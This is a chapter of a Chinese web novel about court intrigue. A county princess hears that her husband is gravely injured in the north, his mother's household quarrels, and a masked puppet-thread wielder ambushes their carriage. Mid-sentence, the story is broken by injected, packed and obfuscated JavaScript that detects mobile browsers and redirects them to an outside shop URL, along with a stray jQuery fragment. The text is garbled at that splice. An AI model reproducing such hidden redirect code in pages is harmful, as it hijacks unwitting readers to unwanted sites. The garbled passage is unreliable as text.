陵瑛踌躇着想告退,对上德妃贴身宫女红莲的视线,红莲却轻微摇了摇头暗示不妥,此时最安全的做法就是像个哑巴保持缄默。
可就在这时——
殿门外忽地传来急促的脚步声,小太监仓促入内,带着喘息跪倒在地:“娘娘——大事不好了,上官大人重伤昏迷,生死未卜!”
皇甫云州闻言猛然起身,呵斥道,“你胡说八道什么?!”
“轰——”
陵瑛骤然一怔,心口像是被狠狠撕裂了一道口子,连四周的低语议论都变得模糊不清。
指尖一松,茶盏失手落地,“啪”地一声摔碎,溅出的茶水滚烫,浸湿了她的衣摆也毫无知觉。
“县主当心!”红莲赶忙吩咐侍女帮忙擦拭裙摆,“快将碎瓷片子拾起来,免得伤到德妃娘娘贵体!”
德妃挥了挥手,“算了,没关系。”
陵瑛的身子微微僵直,手指轻颤,却竭力稳住心绪。她知道此刻失态不妥,可她控制不住,一把抓住报信太监的衣袖,“说清楚,哪个上官大人!?”
那个曾在龙凤红烛下掀起她盖头的人,曾许诺要亲手为她画眉的人,倒在了苦寒的北地?她不相信!
小太监瑟瑟发抖,慌乱道,“是上官大人,上官云谦大人!重伤昏迷,生死未卜!”
陵瑛顿觉头晕目眩,随即跪地叩首,眼泪率先滴落,声音却不卑不亢,“请娘娘恩准,容我即刻出宫去往北地。”
德妃挑眉,似乎有些意外,“你是县主,是本宫的义女,纵然……纵然驸马有何不测,你也大可不必像普通民妇守着贞节牌坊过一辈子,那是规训贱民才有的教条规矩。本宫会派最好的太医前往诊治,陵瑛,你何必非要去北境苦寒之地,一路上风沙辛苦,你可想好了?”
她抬眸,神色平静而坚韧:“家国之约,君子不负。云谦待儿臣一片赤诚真心,我理应回报十分。”
她的声音不高,却透着不容置疑的坚定。
德妃微微一顿,似乎透过陵瑛,想到了多年前那个模样相似的手帕交,短暂的沉默后,终于松了口:“既如此,你去吧。”
——
临安城,上官府内,夜色沉沉,红烛摇曳,帷幕低垂。
房内笑声旖旎,男子赤裸着上身懒懒靠在榻上,指尖挽着一缕锦被的流苏,眼角微挑,带着几分轻佻的笑意:“夫人今日倒是心情不错。”
上官夫人半倚在软榻上,眉梢眼角皆是欲色,指尖绕着一缕夹杂着白发的青丝,似笑非笑:“纵的你,越发贫嘴。”
男子探过身,修长的手指灵巧熟练地帮夫人藏起几缕白发,语气带着几分试探:“我这些日子心神不宁,也不晓得阿谦在北地如何了?”
上官夫人眯了眯眼,轻轻拨开他的手,语气懒散:“他自幼被我娇养,一向锦衣玉食不沾世俗事,在沧澜郡这样的苦寒地恐怕一时会吃些苦头,适应些日子便好了,死不了。”
“那倒也是”,男子低声应道,顿了顿,似不经意地叹道,“只是北地赈灾事情艰难,夫人可曾收到他的来信?也不知阿谦能否完成夫人和……贵人交办的差事……”
上官夫人看了他一眼,眼神冷淡,未答。
男子知晓自己僭越,也不恼,话音一转道:“说起来,最近倒是听下人提起些有趣的旧事……”
他语调悠长,声音清朗生动,“听闻陵瑛郡主与苏指挥使……关系倒是不一般,似乎是青梅竹马的情谊,指挥使在大婚时还送了一座城池当贺礼?也不知阿谦是否知晓?”
上官夫人眼神一变,目光陡然凌厉。
男子察言观色,故作随意地笑道:“夫人,您也知晓,外头都在传她与指挥使交情匪浅……我是担心阿谦痴心错付被蒙蔽,这实在……”
话未说完,“啪!”一记清脆的巴掌甩在男子脸上,烛光一颤,屋内气氛顿时冷得如坠冰窖。
上官夫人自行穿上衣服,冷冷地盯着他,目光中透着几分阴寒:“你也配议论县主?”
男子脸色微僵,刚才的温柔表象顿时被撕了个粉碎。
上官夫人冷笑一声,目光透着几分讥讽,“你当自己是谁?不过是久居后宅的男宠,竟也敢妄议朝政?”
男子脸色一白,嘴唇微微颤了颤,眼底浮现一丝屈辱,却不敢再多言。
夫人拂袖而起,脸色彻底冷了下来,冷冷训诫道,“陵瑛县主是忠烈之后,娴静聪慧又知书达理,若不是年幼失孤只得依附德妃,本该与苏怀堂是一对璧人……她能下嫁给阿谦是他的福气”,顿了顿又道,“别总拿女子的贞洁和三从四德规训人,你别以为你是阿谦父亲,便能插手他的私宅内事。北地赈灾的事、云谦的婚事和上官府的事,何须你来置喙?”
男子低下头,脸色苍白,拳头紧紧握着,最终还是忍下了所有情绪,低声道:“是,夫人教训得是。”
上官夫人冷冷看了他一眼,转身便要离开。
可还未走出门,就在此时——
“夫人!不好了!”
屋外传来焦急的脚步声,紧接着,丫鬟急匆匆地掀帘而入,跪倒在地,声音颤抖:“夫人,宫里传来消息,小少爷在北地重伤昏迷,生死未卜!”
房内顿时一静。
上官夫人只觉脑中嗡然一响,心脏骤然收紧,指尖发冷,险些站不稳。她呼吸急促,几乎不敢相信自己的耳朵:“阿谦?怎么会?”
“你胡说!”男子声音紧涩,颤抖着手指,“我的阿谦怎么了?”
然而,还未等细问,屏风外,一个冷淡的声音幽幽响起——
“母亲倒是好兴致,弟弟命悬一线,您却在此取乐?”
上官夫人身子一僵,猛地抬头,就见带着面具的华服少年缓步踏入,上官云棠眼神冷淡,目光轻蔑地扫过房内的男子,嘴角勾起一抹讽刺的笑意:“我还纳闷,怎么找不到母亲,原来是在这处。”
男子被她目光扫过,脸色微微一变,下意识往后缩了缩,习惯性地对这位少主子心存忌惮。
上官夫人脸色瞬间铁青,眼底闪过一丝恼怒:“放肆!谁允许你跟长辈这样说话?!”
上官云棠毫不畏惧,缓缓走上前,眸光定定地看着她:“母亲若还顾及一点弟弟的安危,此刻应该立刻出发进宫探听消息,而不是在这里耽误时间。”
上官夫人呼吸一滞,刚刚还燃起的怒火顿时被掐灭,手指紧紧攥住衣袖,指甲陷入掌心,却一句反驳的话都说不出口。
她深深吸了一口气,压下心头翻涌的情绪,咬牙道:“备车,入宫去看看。”
上官云棠冷冷一笑,转身走在前头,丝毫不再看那面首一眼。
雨丝落在上官府门前的青石板上滴滴答答,上官云棠扶着母亲登车时,腕间翡翠镯子撞在车门上,裂开一道蛛网似的细纹,她望着水汽蒙蒙的宫门方向隐约有些不安。
“夫人小心。”管家将油纸伞高举过头顶,往她那边偏了偏,浑浊的眼珠在雨帘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223063|187169||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中泛起水光,“小少爷是老奴看着长大,如今在北地也不知情况如何,有没有好的大夫诊治?”
上官夫人被拨弄伤心事,身影晃了晃。
“多嘴!”上官云棠厉声喝断。二皇子府递来消息时,言辞委婉但是意思清楚,“令弟在沧澜郡不小心从高处失足,跌落时撞到了后脑重伤,至今依然昏迷不醒,万幸是仍有脉息,相信吉人自有天相,还请上官大小姐保重身体。”
天际阴云渐聚,细密的雨丝不觉间变得凌厉,雷声滚滚,自天穹深处缓缓逼近,仿佛某种不祥的预兆。
雨势骤然加急,豆大的雨珠敲打在车篷上,发出密集如鼓点的声响。
一辆乌木雕纹的马车在僻静小巷中急驰。驾车的车夫背脊僵直,双手死死握住缰绳,衣衫早已湿透,却一动不动,连雨水顺着额角滑落,也不曾抬手拭去。
闪电的光亮中,照映出他苍白如纸的脸色,车夫眼神空洞无神,唇角微微抽搐,仿佛拼命想要挣脱某种无形的束缚,却终究无法动弹。
细看之下,他的手腕、肩膀、甚至颈侧,都隐隐缠绕着几道细若蛛丝的银线,在闪电映照下泛着微光。
那是傀儡丝,无形却桎梏。灵魂,每一根线的牵动,都操纵着他的筋骨,让他如提线木偶般听命于人。
风更狂,雨更疾。马匹感应到了危险嘶鸣不安,而那车夫却仍旧稳稳坐在原处,挡在上官夫人和上官云棠的马车前面。
黑暗中,水幕模糊了视线,上官云棠掀帘望向车外,面色阴沉道,“大胆贱民竟敢拦上官府的车驾!给我杀了他!”
“上官大小姐”,马车内的声音带着金石相击的清脆和冷意,“这是急着要去给另外一个弟弟收尸?”
闻声上官夫人突然浑身剧颤,掌中的金丝楠木佛珠啪地断开,她满面憔悴中带着诧异欣喜掀开车帘,希冀地望着来人,“阿湛?”
来人带着连帽斗篷,眼神微冷,他的指节随意摆动,指尖轻挑,无形的傀儡丝却倏然绷紧,如同一把无形的利刃,穿透雨幕,缠绕天地。
上官府前来阻拦侍卫的尸身横七竖八倒地,雨水染红污水,满地鲜红,泛出刺目的冷意。
上官云棠微微后退,脸色惨白,目光死死盯着他纤长冰冷的手指。
她拔下金簪横在身前自保,簪尾淬着的孔雀蓝在雨中泛着幽光——来人带着面具,却低低笑出声来,三年前猎场那支射中自己心脉的淬毒弩箭,也是这般颜色。
他骨节分明的手指抚上面具,青铜面具陡然坠落的脆响混在雨声里,上官云棠听见自己喉间溢出的抽气声和窃喜,“不是那张脸!不是……那张脸!”
男人站在暗夜中,微微垂首,目光沉静得没有一丝波澜。
是一张再普通不过的脸,仿佛丢进人群里就会消失得无影无踪。皮肤略显粗糙,眉眼平淡无奇,没有锋利的棱角,也没有引人瞩目的俊美,甚至带着几分平庸的憔悴沧桑。
没有挺拔的身姿,没有落拓不羁的气质,整个人看起来更像是城中某个贩夫走卒,又或者是无名小吏。
若非站在这里,挡住自己的路,上官云棠甚至都不会多看他一眼。
然而,那一双眼睛却带着恶作剧般的轻蔑,藏着深不见底的风暴。
他抬眸,看向面前的人,嘴角微微勾起,明明是最平凡不过的脸,却让人莫名感到一股寒意从脊背蔓延。
“怎么,认不出我了?”他的声音低沉,带着一种说不清的意味。